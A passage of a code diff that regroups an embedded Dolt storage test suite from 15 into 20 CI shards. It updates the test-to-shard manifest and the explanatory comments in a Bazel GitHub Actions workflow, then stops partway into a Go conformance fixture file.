TestPartitionWispIDs +20 9 TestReadyWorkWithMissingDeferredParentTables +20 9 TestRemoteVerbsPresentStoredPeerCredentials +20 9 TestRunInTransactionPostCommitStageFailureIsIndeterminate +20 9 TestWithPeerAuth_MissingRemoteFailsClosed -15 10 TestBuildDSN_SpacesInPath -15 10 TestCleanGitRemoteCacheGarbage_Throttled -15 10 TestCreateIssues -15 10 TestCreateRejectsCrossTableIDCollision -15 10 TestDeleterContract -15 10 TestEmbeddedBatchCloserAllIdempotentBatchLandsNothing -15 10 TestEmbeddedDepRekeyMergesFreshDuplicateEdges -15 10 TestEmbeddedDependencyEditorAddedEchoesTheRequestOrder -15 10 TestEmbeddedDependencyEditorRefusesCrossPlaneCycle -15 10 TestEmbeddedDoltStoreIssueLifecycleBuildsOperations -15 10 TestEmbeddedIgnoredMigration0023NoopsWithoutItsTables -15 10 TestEmbeddedIssueOperationsCreateClosedDerivesTheClosedStamp -15 10 TestEmbeddedIssueOperationsCreateEmptyIDPreservesParentAndReverseDependencies -15 10 TestEmbeddedIssueOperationsUpdateParentStagesBlockedStateAndRollsBackFailure -15 10 TestEmbeddedIssueOperationsUpdateRawMetadataTakesTheFunnelsValueShapes -15 10 TestEmbeddedMigrateStepCommitLeavesUntouchedUserDirt_4566 -15 10 TestEmbeddedReaderDoesNotMutateTheCallerRequest -15 10 TestEmbeddedReadyClaimerHydratesOnlyItsBlocksEdgesIntoTheCardinalities -15 10 TestEmbeddedReadyClaimerSkipsIneligibleFrontRows -15 10 TestEmbeddedRecomputeAllBlockedDirtyGraphIsTyped -15 10 TestEmbeddedTempRebuildIntermediatesNeverReachHistory -15 10 TestEmbeddedTransactionWispLifecyclePersistsDurableDependent -15 10 TestEpochContract -15 10 TestGetReadyWorkMoleculeFilter -15 10 TestGraphWalkPlansHonorJoinHints -15 10 TestHelperProcess -15 10 TestIgnoredCursorHealResumeRespectsOperatorOverride -15 10 TestReclaimRefusesForeignReplicaLease -15 10 TestRemoteEntryPointsUseVersionControlOps -15 10 TestTransactionCleanupBeforeSQLCommitRemainsDefinite -15 10 TestVersionReconcilerContract -15 10 TestWithPeerAuth_MissingRemoteFailsClosed +20 10 TestEdgeReaderContract +20 10 TestEmbeddedBatchCloserOutcomeSnapshotIsTheDocumentedShape +20 10 TestEmbeddedClaimerRefusesIncompleteRequestsAndAnAbsentIDWithoutTouchingState +20 10 TestEmbeddedDependencyEditorMaintainsBlockedStateAcrossPlanes +20 10 TestEmbeddedDependencyEditorMixedBatchRefusalRollsBackBothPlanes +20 10 TestEmbeddedIgnoredMigration0023NoopsOnHealthyWorkspace +20 10 TestEmbeddedIssueOperationsUpdateInvalidIssueTypePreservesValidationSentinel +20 10 TestEmbeddedIssueOperationsUpdateWritesEveryScalarPatchField +20 10 TestEmbeddedMigrateConsent_BehindAndDirtyWorkingSetReconcileRecovers +20 10 TestEmbeddedOpenForRemoteSync_OtherRefusalsStayFatal +20 10 TestEmbeddedPre0058RepairMarchesDriftedWispDependenciesToFinalShape +20 10 TestEmbeddedReaderGetBriefDepsProjectsTheDependencyRows +20 10 TestEmbeddedReaderListMaxRowsBoundaryIsLimitPlusOffset +20 10 TestEmbeddedRelationsLeavesTheCallersRequestAlone +20 10 TestEmbeddedReopenCustomDoneFallsBackWhenNormalizedTableMissing +20 10 TestEventsJournalPruneNeverSplitsASkewedPair +20 10 TestGitRefPinsMatchDolt +20 10 TestIsBlockedBatchEmbedded +20 10 TestLenientGateWarningBody_BluntRefusalKeepsSharedGuidance +20 10 TestMain +20 10 TestRetentionContract -15 11 TestCycleDetectorContract -15 11 TestEmbeddedBatchCloserClaimFilterValueFailureIsARequestValidationFailure -15 11 TestEmbeddedBatchCloserIdempotentRecloseIsAPerItemSuccess -15 11 TestEmbeddedCheckedWrappersRouteTheirPreconditions -15 11 TestEmbeddedDependencyEditorAcceptsAForeignRepoTarget -15 11 TestEmbeddedDependencyEditorMixedBatchRefusalRollsBackBothPlanes -15 11 TestEmbeddedDependencyEditorRefusesASamePlaneEdgeClosingACrossPlaneCycle -15 11 TestEmbeddedDependencyEditorSameTypeReAddIsIdempotent -15 11 TestEmbeddedGetMergeBlockersOnAQuietStore -15 11 TestEmbeddedIssueOperationsCreateRoutesInfraTypesToWisps -15 11 TestEmbeddedIssueOperationsUpdateNotesConflictPreservesValidationSentinel -15 11 TestEmbeddedLenientOpenWarning_OtherRefusalsKeepBluntGuidance -15 11 TestEmbeddedPre0058RepairMarchesDriftedWispDependenciesToFinalShape -15 11 TestEmbeddedReaderGetDetailShapeMatchesTheSeededIssue -15 11 TestEmbeddedReaderListNaturalNumericIDSortTrimsAfterTheFetch -15 11 TestEmbeddedReopenCustomDoneFallsBackWhenNormalizedTableMissing -15 11 TestEmbeddedTransactionStandaloneWispMutationDoesNotPublishUnrelatedDurableChanges -15 11 TestGetDependentRecordsEmbedded -15 11 TestGetLabels -15 11 TestGetNextChildID -15 11 TestGraphCounterContract -15 11 TestLargeBatchApplyStatementCountsClassic40_Embedded -15 11 TestPristineEmbeddedDoltFixtureRelocatesPrefixes -15 11 TestReadyWorkPageTotal -15 11 TestUpdateIssueType +20 11 TestEmbeddedBatchCloserAllRefusedBatchRecordsNoHistory +20 11 TestEmbeddedBatchCloserForceBypassesOnlyClosePolicy +20 11 TestEmbeddedBatchCloserOutcomesMirrorItemsIndexForIndex +20 11 TestEmbeddedClaimerRefusalMessagesCarryTheirFragments +20 11 TestEmbeddedClaimerRefusesAWispIDAsNotFound +20 11 TestEmbeddedDependencyEditorRemoveIsIdempotent +20 11 TestEmbeddedDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion +20 11 TestEmbeddedMigration0058HealsAlreadyAffectedDatabase +20 11 TestEmbeddedMigration0062FlipsEventsToIgnoredPlane +20 11 TestEmbeddedReaderListDefaultExclusionsAndTheirOverrides +20 11 TestEmbeddedReaderListReadyFlagCarriesTheAssigneeAndPriorityFilters +20 11 TestEmbeddedReaderReadyLimitBoundary +20 11 TestEmbeddedReadyClaimerEmptyFrontIsNormal +20 11 TestGetReadyWorkIncludeEphemeralExcludesNonReadyWisps +20 11 TestIgnoredCursorHealRespectsOverrideUnderBroaderPattern +20 11 TestLifecycleUpdateContract +20 11 TestReadyWorkStatementBudget +20 11 TestRemoteVerbPlainRemoteKeepsAmbientEnv +20 11 TestRenameLabelMintsOneVersionPerTouchedBead -15 12 TestBatchCreatorContract -15 12 TestDualWriteContract -15 12 TestEmbeddedClaimerTakesAnOpenIssueTheActorAlreadyHolds -15 12 TestEmbeddedDependencyEditorAttributesItsEventsToTheActor -15 12 TestEmbeddedDependencyEditorSnapshotsTheRequest -15 12 TestEmbeddedIgnoredSeriesConvergesWithFreshInitShape -15 12 TestEmbeddedIssueOperationsCreateWithDependenciesSettlesInTheCreatingTransaction -15 12 TestEmbeddedIssueOperationsRequestValuesAreNotMutated -15 12 TestEmbeddedMergeAndSettleMemoryConfigConflict -15 12 TestEmbeddedReaderGetOptionalRowListsAreOffByDefault -15 12 TestEmbeddedReaderGetResolvesTheExactIDAcrossBothPlanes -15 12 TestEmbeddedReaderReadyEphemeralPageKeepsBothPlanesCountsAtItsBoundary -15 12 TestEmbeddedReaderReadyParentScopesToItsTransitiveDescendants -15 12 TestEmbeddedReadyClaimerLeavesEphemeralRowsOutOfTheDefaultReadySet -15 12 TestEmbeddedRecomputeAllBlockedWiring -15 12 TestEmbeddedRelationsResolvesAWispAnchor -15 12 TestEmbeddedTransactionSameStatusDoesNotPublishUnrelatedDurableChanges -15 12 TestLargeBatchApplyStatementCounts712_Embedded -15 12 TestLifecycleUpdateContract -15 12 TestPreviewStoreRefusesLocalMetadataWrite -15 12 TestQuerierContract -15 12 TestReadyWorkPageTotalFilterMatrix -15 12 TestRemoteVerbsPresentStoredPeerCredentials -15 12 TestSearchWithMissingWispPlaneTables -15 12 TestWorkspaceConfigContract +20 12 TestActiveDatabaseSizeFailsForMissingEmbeddedDatabase +20 12 TestBuildDSN_SpacesInPath +20 12 TestCleanGitRemoteCacheGarbage_NoCacheDir +20 12 TestCrossRecordInvariantContract +20 12 TestCycleDetectorContract +20 12 TestDecryptPassword_ShortCiphertextClassifiesAsKeyMismatch +20 12 TestDualWriteContract +20 12 TestEmbeddedBlockedRecheckRecordsUnblockingWrites +20 12 TestEmbeddedBlockedRecheckSettlesWhatTheWriteRecorded +20 12 TestEmbeddedClaimIssueWrapperClaimsTheWispPlane +20 12 TestEmbeddedCommitToleratesNothingToCommit +20 12 TestEmbeddedDependencyEditorGateScopeFollowsTheEdgeType +20 12 TestEmbeddedDependencyEditorVersionsOnlyARealAddOrRemove +20 12 TestEmbeddedDoltStoreIssueLifecycleBuildsOperations +20 12 TestEmbeddedIgnoredSeriesConvergesWithFreshInitShape +20 12 TestEmbeddedIssueOperationsCloseAndReopenAWisp +20 12 TestEmbeddedReaderListCountsAreBlocksOnlyWhereGetCountsEveryEdge +20 12 TestEmbeddedReadyClaimerAnswersTheQuestionReaderReadyLists +20 12 TestEmbeddedReadyClaimerHydratesOnlyItsBlocksEdgesIntoTheCardinalities +20 12 TestEmbeddedRoleFixtureKitCountHistoryMovesWithACommit +20 12 TestEmbeddedSQLCommitResponseLossIsIndeterminate +20 12 TestEventsAutoPruneBoundsTheJournalToTheFloors +20 12 TestHasRepository +20 12 TestHistory_NullTextColumns +20 12 TestLenientGateWarningBody_ShapedDecisions +20 12 TestMetadataCASContract +20 12 TestStageAndCommitAfterSQLCommitResponseLossIsIndeterminateAndNotReplayed +20 12 TestWorkspaceConfigContract -15 13 TestCountsIncludeWispDependencies -15 13 TestDecryptPassword_ShortCiphertextClassifiesAsKeyMismatch -15 13 TestEmbeddedBatchCloserDurableHistoryNeverNamesAWisp -15 13 TestEmbeddedBatchCloserRequestValidationReturnsZeroResultAndChangesNothing -15 13 TestEmbeddedClaimerGrantsALiveLeaseOnTheRowItWonAndLeavesARefusedOneAlone -15 13 TestEmbeddedDependencyEditorRefusesAMissingLocalTarget -15 13 TestEmbeddedIssueOperationsUpdateAllScalarAndPointerFieldsReportChanged -15 13 TestEmbeddedIssueOperationsUpdateClaimHonorsConfiguredActiveStatuses -15 13 TestEmbeddedIssueOperationsUpdateMetadataReplaceClearsAndValidates -15 13 TestEmbeddedIssueOperationsUpdateRefusesATypeOutsideTheWorkspaceVocabulary -15 13 TestEmbeddedIssueOperationsUpdateWritesEveryScalarPatchField -15 13 TestEmbeddedMigrateConvergesUnderConcurrentInterruptedRetries_4566 -15 13 TestEmbeddedMigration0058CleansOrphanedAndInvalidWispDependenciesRowsBeforeAddingConstraints -15 13 TestEmbeddedMigration0062FlipsEventsToIgnoredPlane -15 13 TestEmbeddedReaderListIncludeEphemeralMergesThePlanesIntoOneOrder -15 13 TestEmbeddedReaderListKeysetPositionNarrowsWithoutReplacingTheOtherPredicates -15 13 TestEmbeddedReaderListRejectsATypeOutsideTheWorkspaceVocabulary -15 13 TestEmbeddedReaderListStatusAcceptsACommaSeparatedORSet -15 13 TestEmbeddedReaderReadySetOwnsItsStatusPinnedAndTemplateDecisions -15 13 TestEmbeddedRelationsRefusesAnUnusableTypeFilter -15 13 TestEmbeddedRelationsRefusesTheZeroDirection -15 13 TestEventsJournal_EmbeddedConcurrentGaplessNoDup -15 13 TestExternalCapabilityBlocksEmbeddedReadyAndAppearsInTree -15 13 TestIgnoredCursorHealRespectsOperatorOverride -15 13 TestLegacyTrackedIgnoredCursorHealsOnOpen -15 13 TestSweeperContract +20 13 TestAddDependency +20 13 TestAddLabel +20 13 TestEmbeddedBatchCloserRequestValidationReturnsZeroResultAndChangesNothing +20 13 TestEmbeddedDependencyEditorAddedEchoesTheRequestOrder +20 13 TestEmbeddedDependencyEditorRefusesAMissingLocalTarget +20 13 TestEmbeddedDependencyEditorRetypeRefusalLeavesTheOriginalEdge +20 13 TestEmbeddedDependencyEditorSameTypeReAddIsIdempotent +20 13 TestEmbeddedDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp +20 13 TestEmbeddedDirtyTablesGate_BlocksReopenThenWorkingSetReconcileRecovers +20 13 TestEmbeddedIgnoredMigration0023NoopsWithoutItsTables +20 13 TestEmbeddedIssueOperationsCreateAggregatesRelations +20 13 TestEmbeddedReaderListKeysetWalkOverAnOversizedGroupLosesNothingAndRepeatsNothing +20 13 TestEmbeddedReaderReadyPageIsThePrefixOfTheUnboundedAnswerCountsIncluded +20 13 TestEmbeddedRecomputeAllBlockedWiring +20 13 TestHeartbeatMatchesActorAcrossSpellingEmbedded +20 13 TestLegacyTrackedIgnoredCursorHealsOnOpen +20 13 TestMemoriesContract +20 13 TestQuerierContract +20 13 TestTreeWalkerContract -15 14 TestAddDependency -15 14 TestCounterContract -15 14 TestCountsWithMissingWispPlaneTables -15 14 TestEmbeddedBlockedRecheckFailureKeepsTheWrite -15 14 TestEmbeddedDepRekeyRefusesToWriteIntoDirtyDependencies -15 14 TestEmbeddedDependencyEditorRecordsNoHistoryForAnAllEphemeralRequest -15 14 TestEmbeddedDirtyTablesGate_BlocksReopenThenWorkingSetReconcileRecovers -15 14 TestEmbeddedEveryAcceptedLifecycleMutationMintsOneVersion -15 14 TestEmbeddedIssueOperationsClaimLeavesBlockedStateAlone -15 14 TestEmbeddedIssueOperationsUpdateIssuePlaneOnlyRefusesWisps -15 14 TestEmbeddedIssueOperationsUpdateLabelPatchValueRules -15 14 TestEmbeddedMergeAndSettleDirtyWorkingSetSurvivesRefusedMerge -15 14 TestEmbeddedOpenForReadOnlyCommand_LenientGate -15 14 TestEmbeddedReaderListBriefDropsTheFreeFormTextAndNothingElse -15 14 TestEmbeddedReaderListKeysetWalkOverAnOversizedGroupLosesNothingAndRepeatsNothing -15 14 TestEmbeddedReadyClaimerClaimsAnEphemeralRowTheFilterAdmits -15 14 TestEmbeddedReadyClaimerRejectsLimitOffsetBriefAndEmptyActor -15 14 TestEventsJournalPruneWhenEveryRowIsOlderThanTheCutoff -15 14 TestMergeWithStrategy_TheirsResolvesAndCommits -15 14 TestMerge_NoStrategyStillErrorsWithEscapeHatchHint -15 14 TestOpenAfterCloseCreatesNewStore -15 14 TestOpenDifferentDirsReturnsDifferentStores -15 14 TestPruneEventsBatchDeletesTheLowestSeqsOnly -15 14 TestReadyCounterContract -15 14 TestUnknownProvenanceLeaseStaysReclaimable +20 14 TestEmbeddedBatchCloserDoesNotMutateTheCallerRequest +20 14 TestEmbeddedBatchCloserSettlesTheDependersOfWhatItClosed +20 14 TestEmbeddedDepRekeyMergesFreshDuplicateEdges +20 14 TestEmbeddedDependencyEditorAcceptsBlockingAcrossIssueTypes +20 14 TestEmbeddedDependencyEditorMixedBatchWritesBothPlanes +20 14 TestEmbeddedDependencyEditorRefusesAGhostSource +20 14 TestEmbeddedDependencyEditorRefusesCrossPlaneCycle +20 14 TestEmbeddedDependencyEditorRelatesToAddLeavesItsSourceUnblocked +20 14 TestEmbeddedDependencyEditorRemoveUnmarksItsSourceAndDescendants +20 14 TestEmbeddedDependencyEditorRepeatsWithinOneRequestCollapse +20 14 TestEmbeddedDependencyEditorRoutesWispSourcedEdgeToTheWispPlane +20 14 TestEmbeddedGetMergeBlockersOnAQuietStore +20 14 TestEmbeddedIgnoredMigration0019CreatesEventsForFreshClones +20 14 TestEmbeddedMergeAndSettleSkipsNonMemoryConfigConflict +20 14 TestEmbeddedReaderListBriefDropsTheFreeFormTextAndNothingElse +20 14 TestExternalCapabilityBlocksEmbeddedReadyAndAppearsInTree +20 14 TestGetLabels +20 14 TestPristineEmbeddedDoltFixtureRelocatesPrefixes +20 14 TestSchemaAfterInit +20 14 TestWithPeerAuth_RestoresAbsentEnv -15 15 TestCreateIssue -15 15 TestEdgeReaderContract -15 15 TestEmbeddedBatchCloserAllRefusedBatchRecordsNoHistory -15 15 TestEmbeddedBatchCloserDuplicateItemRecloseAtItsOwnIndex -15 15 TestEmbeddedBatchCloserRecordsOneHistoryEntryForWhatLanded -15 15 TestEmbeddedBlockedRecheckRecordsUnblockingWrites -15 15 TestEmbeddedClaimerAcceptsAConfiguredActiveStatusAndRefusesAConfiguredWipOne -15 15 TestEmbeddedDependencyEditorAcceptsATypeOutsideTheConstants -15 15 TestEmbeddedDependencyEditorAcceptsAnExternalTarget -15 15 TestEmbeddedDependencyEditorRefusesSelfDependencyWithTheProbeSkipped -15 15 TestEmbeddedDependencyEditorRepeatsWithinOneRequestCollapse -15 15 TestEmbeddedDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion -15 15 TestEmbeddedIssueOperationsUpdateLabelPatchOrdering -15 15 TestEmbeddedMigrateConsent_BehindAndDirtyWorkingSetReconcileRecovers -15 15 TestEmbeddedMigrateSelfHealsAfterMidPassFault_4566 -15 15 TestEmbeddedMoveIssuePersistenceEphemeralNoHistorySmoke -15 15 TestEmbeddedOpenForRemoteSync_DataBehind -15 15 TestEmbeddedReadyClaimerEmptyFrontIsNormal -15 15 TestEmbeddedRelationsSeparatesNoNeighborsFromNoSuchIssue -15 15 TestEmbeddedTransactionStandaloneWispLifecyclePersistsWithoutDoltCommit -15 15 TestEventsJournalPruneNeverSplitsASkewedPair -15 15 TestEventsJournal_ActorMatrixOnEmbedded -15 15 TestGetIssueCommentsPageEmbedded -15 15 TestGetReadyWorkIncludeEphemeralExcludesNonReadyWisps -15 15 TestIgnoredCursorHealIsIdempotent -15 15 TestReadyWorkStatementBudget -15 15 TestReleaserContract +20 15 TestBuildDSN_NoDatabase +20 15 TestCleanGitRemoteCacheGarbage +20 15 TestCommenterContract +20 15 TestCounterExcludeStatusAcceptsAWorkspaceCustomStatusWithoutIncludeInfra +20 15 TestCreateBatchFastPathsMatchPerRowLarge_Embedded +20 15 TestDoltCommitResponseLossIsIndeterminate +20 15 TestEmbeddedBatchCloserAllIdempotentBatchLandsNothing +20 15 TestEmbeddedDependencyEditorRecordsOneHistoryEntryPerLandedRequest +20 15 TestEmbeddedDependencyEditorRefusesACycleThroughAParentChildHop +20 15 TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossAWispHierarchy +20 15 TestEmbeddedDependencyEditorRoutesWispSourcedRemovalToTheWispPlane +20 15 TestEmbeddedIssueOperationsCreateEmptyIDPreservesParentAndReverseDependencies +20 15 TestEmbeddedIssueOperationsUpdateNotesConflictPreservesValidationSentinel +20 15 TestEmbeddedMigration0057ConvertsTextEventsColumnsToLongtext +20 15 TestEmbeddedOpenReadOnly_FreshDatabaseNoWrites +20 15 TestEmbeddedReaderListStatusAcceptsACommaSeparatedORSet +20 15 TestEmbeddedReaderReadyDefaultTypeExclusionsYieldToAnExplicitType +20 15 TestEmbeddedRenameKeepsDependencyIDsDeterministic +20 15 TestEventsJournalReadRefusesAnInteriorHole +20 15 TestEventsJournal_EmbeddedConcurrentGaplessNoDup +20 15 TestExpectedRevisionContract +20 15 TestLargeBatchApplyStatementCounts356_Embedded +20 15 TestLargeGraphCreateTiming_Embedded +20 15 TestReadyWorkPageTotalFilterMatrix +20 15 TestReclaimExpiredLeaseSurvivesRestartEmbedded +20 15 TestRemoteEntryPointsUseVersionControlOps +20 15 TestTransactionCleanupBeforeSQLCommitRemainsDefinite +20 15 TestUpdateIssueType + +20 16 TestCreateIssues +20 16 TestEmbeddedBatchCloserClaimNextSeesAnUnblockingFromItsOwnBatch +20 16 TestEmbeddedClaimerAcceptsAConfiguredActiveStatusAndRefusesAConfiguredWipOne +20 16 TestEmbeddedDepRekeyAbortLeavesMarkerUnrecorded +20 16 TestEmbeddedIssueOperationsCreateParentChildRecomputesWaitsForClosure +20 16 TestEmbeddedIssueOperationsCreateWithDependenciesSettlesInTheCreatingTransaction +20 16 TestEmbeddedIssueOperationsUpdateMetadataReplaceClearsAndValidates +20 16 TestEmbeddedMergeAndSettleRefusesUnknownTable +20 16 TestEmbeddedMigration0058AddsOnlyMissingConstraintInMixedPopulation +20 16 TestEmbeddedReaderGetResolvesTheExactIDAcrossBothPlanes +20 16 TestEmbeddedReaderReadySetOwnsItsStatusPinnedAndTemplateDecisions +20 16 TestEmbeddedTempRebuildIntermediatesNeverReachHistory +20 16 TestEventsAutoPruneKeepsAnUnboundedJournalUnbounded +20 16 TestEventsJournal_ActorMatrixOnEmbedded +20 16 TestIgnoredCursorHealRespectsOperatorOverride +20 16 TestMergeWithStrategy_TheirsResolvesAndCommits +20 16 TestOpenDifferentDirsReturnsDifferentStores +20 16 TestRemoteVerbPlainRemoteWithoutAuthPresentsNone +20 16 TestUnknownProvenanceLeaseStaysReclaimable + +20 17 TestActiveDatabaseSizeScopesToActiveEmbeddedDatabase +20 17 TestBuildDSN_WithDatabase +20 17 TestCleanGitRemoteCacheGarbage_Throttled +20 17 TestDepRekeyMarkerStillInIgnoredSeries +20 17 TestEmbeddedBatchCloserClaimNextIsNilWhenTheFrontIsEmpty +20 17 TestEmbeddedBatchCloserIdempotentRecloseIsAPerItemSuccess +20 17 TestEmbeddedBatchCloserPerItemRefusalIsAResultAndSurvivorsCommit +20 17 TestEmbeddedClaimerReclaimsItsOwnInProgressIssueWithoutWriting +20 17 TestEmbeddedDepRekeyConvergesRenameChain +20 17 TestEmbeddedDependencyEditorAcceptsAnExternalTarget +20 17 TestEmbeddedDependencyEditorAddMarksItsSourceInTheSameVerb +20 17 TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossItsOwnHierarchy +20 17 TestEmbeddedDoltStoreIssueLifecycleRejectsNilStore +20 17 TestEmbeddedIssueOperationsCreateReverseNonBlockingStagesConcreteTables +20 17 TestEmbeddedMigration0047DelegatesToSplitTargetRepairAndConvergesThroughIgnoredChain +20 17 TestEmbeddedReaderGetOptionalRowListsAreOffByDefault +20 17 TestEmbeddedReaderListSkipCountsDropsTheCardinalitiesAndNothingElse +20 17 TestEmbeddedReaderReadySortPoliciesOrderTheSameRows +20 17 TestEmbeddedRelationsAnswersInThePinnedOrder +20 17 TestEmbeddedTransactionSameStatusDoesNotPublishUnrelatedDurableChanges +20 17 TestEpochContract +20 17 TestHelperProcess +20 17 TestLegacyTrackedIgnoredCursorUnwedgesPull +20 17 TestLenientGateWarning_ComposedOutput +20 17 TestReadyWorkPageTotal +20 17 TestSweeperContract +20 17 TestTransactionCleanupAfterSQLCommitIsIndeterminate +20 17 TestWithPeerAuth_RestoresEnvWhenCallbackFails + +20 18 TestBatchCreatorContract +20 18 TestBlockingAnnotatorContract +20 18 TestCountsIncludeWispDependencies +20 18 TestEmbeddedBatchCloserDurableHistoryNeverNamesAWisp +20 18 TestEmbeddedBatchCreateFirstVersionCarriesCreationTimeEdges +20 18 TestEmbeddedBlockedRecheckFailureKeepsTheWrite +20 18 TestEmbeddedCheckedWrappersRouteTheirPreconditions +20 18 TestEmbeddedDependencyEditorSkipPerEdgeCycleCheckDropsOnlyTheProbe +20 18 TestEmbeddedIssueOperationsCreateUnderAParentMintsTheNextChildID +20 18 TestEmbeddedIssueOperationsUpdateClaimPatchAppliesAfterClaim +20 18 TestEmbeddedIssueOperationsUpdateRefusesATypeOutsideTheWorkspaceVocabulary +20 18 TestEmbeddedMigrateRepairedDependenciesIDColumnCommitsAtomicallyWithVersion53_4690 +20 18 TestEmbeddedMigrateStepCommitLeavesUntouchedUserDirt_4566 +20 18 TestEmbeddedReadyClaimerClaimsTheFrontRowAndReturnsThePostClaimState +20 18 TestEmbeddedReadyClaimerRecordsOneHistoryEntryForAWin +20 18 TestLargeBatchApplyWallClock_Embedded +20 18 TestMerge_NoStrategyStillErrorsWithEscapeHatchHint +20 18 TestRenameLabel +20 18 TestVersionReconcilerContract + +20 19 TestBatchGetterContract +20 19 TestBootstrapperContract +20 19 TestCreateIssue +20 19 TestCreateRejectsCrossTableIDCollision +20 19 TestEmbeddedBatchCloserWispItemClosesAndEarnsTheClaim +20 19 TestEmbeddedDepRekeyRepairsHalfRekeyedDuplicateEdge +20 19 TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesDependers +20 19 TestEmbeddedMergeAndSettleMemoryConfigConflict +20 19 TestEmbeddedMigrateConvergesUnderConcurrentInterruptedRetries_4566 +20 19 TestEmbeddedOpenForReadOnlyCommand_LenientGate +20 19 TestEmbeddedReadyClaimerDoesNotMutateTheCallerRequest +20 19 TestEmbeddedReadyClaimerFencesTheClaimByEveryLabelSetAndTheParentItWasGiven +20 19 TestEmbeddedReadyClaimerLeavesEphemeralRowsOutOfTheDefaultReadySet +20 19 TestEmbeddedSyncCommitsConfigBeforeMerge +20 19 TestGetIssue +20 19 TestGetReadyWorkMoleculeFilter +20 19 TestLargeBatchApplyStatementCounts712_Embedded +20 19 TestReopenIssue +20 19 TestWithPeerAuth_DivergedRemoteURLFailsClosed +20 19 TestWithPeerAuth_KeyMismatchFailsClosed + +20 20 TestCounterContract +20 20 TestEmbeddedClaimerClaimsAnUnassignedOpenIssueAndAnswersTheBareRow +20 20 TestEmbeddedDependencyEditorRefusesSelfDependencyWithTheProbeSkipped +20 20 TestEmbeddedEveryAcceptedLifecycleMutationMintsOneVersion +20 20 TestEmbeddedIssueOperationsPersistenceRollbackWispAndDetachedResults +20 20 TestEmbeddedIssueOperationsUpdateClaimCASAndTransferMatrix +20 20 TestEmbeddedMergeAndSettleFKCascadeRepair +20 20 TestEmbeddedMigrateSelfHealsAfterMidPassFault_4566 +20 20 TestEmbeddedMoveIssuePersistenceEphemeralNoHistorySmoke +20 20 TestEmbeddedOpenForRemoteSync_DataBehind +20 20 TestEmbeddedOpenReadOnly_SkipsGateAndMigrations +20 20 TestEmbeddedReaderGetMissIsNotFoundAndBackendFailureDoesNotDecay +20 20 TestEmbeddedReadyClaimerClaimsAnEphemeralRowTheFilterAdmits +20 20 TestEmbeddedRemoteMigrateGate_BlocksReopen +20 20 TestEventsAutoPruneThrottleSkipsTheSecondPass +20 20 TestIgnoredCursorHealIsIdempotent +20 20 TestLargeBatchApplyStatementCountsClassic40_Embedded +20 20 TestMergeAndSettleWithStrategy_ResolvesDeclinedConflict +20 20 TestMergeWithStrategy_OursKeepsLocal +20 20 TestPruneEventsBatchDeletesTheLowestSeqsOnly diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 5ca224450..eb761aa7f 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1283,8 +1283,8 @@ jobs: name: embedded Dolt tier # Remote execution only: skipped unless the rbe job chose remote, # fork-ro or fork-rw (enabled; not in modes cache, local or skip). - # Locally the tier is 67 race test - # processes (50 cmd/bd shards + 15 embeddeddolt storage shards + 2 + # Locally the tier is 72 race test + # processes (50 cmd/bd shards + 20 embeddeddolt storage shards + 2 # conformance partitions; ~24k test-seconds measured locally -- see # scripts/ci/embedded_cmd_test_durations.json and # scripts/ci/embedded_storage_test_durations.json -- up from an earlier, @@ -1293,26 +1293,21 @@ jobs: # proves nothing pr-risk.yml's embedded jobs (which do run for forks) do # not. # - # Shard counts: storage (15) is sized the way both tiers were originally - # meant to be -- the smallest count whose LPT-packed heaviest shard - # (scripts/ci/gen_embedded_storage_shard_manifest.py --weights=duration - # --repack) lands at or below the tier's own heaviest single top-level - # test (211-225s). cmd cannot reach that floor: Bazel hard-caps - # shard_count at 50 per sh_test-like rule ("Having more than 50 shards is - # indicative of poor test organization. Please reduce the number of - # shards." -- a native analysis-time error, not a style lint), and at 50 - # shards the cmd suite's LPT-packed heaviest shard is ~409.6s -- above - # its own single heaviest test's 239.7s, because the suite's total - # duration (~20145 test-seconds across 242 tests) is too large to flatten - # to the single-test floor within 50 bins. Clearing more shards would - # need either further per-test speedups spread across the suite or + # Shard counts: storage (20) is the smallest count whose LPT-packed + # heaviest shard (scripts/ci/gen_embedded_storage_shard_manifest.py + # --weights=duration --repack, on rbe-west measurements) stays near 110s, + # under the ~150s per-shard budget with headroom for executor load; its + # heaviest single top-level test is ~90s. cmd (50) sits at Bazel's hard + # cap per sh_test-like rule ("Having more than 50 shards is indicative of + # poor test organization. Please reduce the number of shards." -- a + # native analysis-time error, not a style lint); on rbe-west its shards + # ran 83-209s (6.5k shard-seconds, 2026-10-09), so it, not storage or + # //internal/httpclient:httpclient_served_test, is this lane's floor. + # Lowering it needs per-test speedups spread across the suite or # splitting bd_embedded_test into multiple <=50-shard sh_test rules with # shard-index-offset plumbing through tools/bazel/go_test_manifest_shard.sh - # and check_shard_coverage.py; neither is done here, so this lane's floor - # is cmd's ~409.6s, not the ~240s a 5-minute lane (including this job's - # ~60s fixed cost) would need -- tracked as a follow-up, not silently - # hidden in the shard count. On RBE this makes the tier's wall time ~= - # that floor + fixed cost (checkout, build, shard dispatch), not ~= + # and check_shard_coverage.py. On RBE the tier's wall time ~= that floor + # + fixed cost (checkout, build, shard dispatch), not ~= # sum(durations)/shard_count the way a CPU-core-bound local sweep is -- # each shard is its own remote action and runs concurrently with every # other shard, farm capacity permitting. @@ -1399,7 +1394,7 @@ jobs: python3 tools/bazel/check_shard_coverage.py --bep "$RUNNER_TEMP/bazel-bep.json" --suite //cmd/bd:bd_embedded_test .github/scripts/embedded-test-shard.sh 50 - --suite //internal/storage/embeddeddolt:embeddeddolt_embedded_test .github/scripts/embedded-storage-test-shard.sh 15 + --suite //internal/storage/embeddeddolt:embeddeddolt_embedded_test .github/scripts/embedded-storage-test-shard.sh 20 --whole //internal/storage/embeddeddolt:embeddeddolt_conformance_core_test --whole //internal/storage/embeddeddolt:embeddeddolt_conformance_audit_test diff --git a/backend/conformance/batch_getter_contract.go b/backend/conformance/batch_getter_contract.go index 6cfdd6590..f64dabde6 100644 --- a/backend/conformance/batch_getter_contract.go +++ b/backend/conformance/batch_getter_contract.go @@ -36,6 +36,13 @@ type BatchGetterFixture struct { BatchGetter publicops.BatchGetter // CreateIssue seeds a durable issue in the issues plane. CreateIssue func(context.Context, *types.Issue, string) error + // CreateIssues seeds many durable 